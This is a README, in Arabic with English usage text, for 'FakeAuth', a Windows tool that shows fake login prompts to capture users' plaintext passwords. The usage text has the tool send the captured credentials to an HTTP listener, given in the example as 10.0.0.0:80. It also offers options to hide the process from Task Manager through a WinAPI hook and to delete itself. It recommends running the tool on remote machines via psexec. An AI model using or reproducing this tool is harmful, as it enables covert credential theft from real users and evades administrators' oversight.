
ينشئ موجه مصادقة وهمي لالتقاط كلمات المرور النصية الصريحة للمستخدمين
FakeAuth هي أداة تطالب ببيانات المستخدم وتقوم بتسريبها عبر بروتوكول HTTP.
مستوحاة من المشاريع التالية:
توقع كوداً غير نظيف وبعض الأخطاء ;)
لا متطلبات خاصة
Usage: FakeAuth.exe <hide> <mode> <type> <count> <title> <message> <listener>
Example: FakeAuth.exe 1 1 1 10 window_title enter_creds 10.0.0.0:80\n
hide (integer) -> Hide Process in Taskmgr by WinAPI-Hook (0,1 - requires FakeAuth.dll)
mode (integer) -> Self-Delete at process stop (0,1) - .dll only possible if taskmgr closed!
type (integer) -> Prompt Style (1,2)
count (long) -> How many prompts after invalid Credentials (0,1,2,..,n 0=unlimited)
title (string) -> Prompt title (visible in type=1 only)
message (string) -> Window message
listener (string) -> HTTP exfiltration listener (10.0.0.0:80), if not specified print stdout
أفضل طريقة للاستخدام هي تشغيله على أجهزة بعيدة في جلسة مستخدم. (psexec أو مساعدين آخرين)
@atn1ght1 Twitter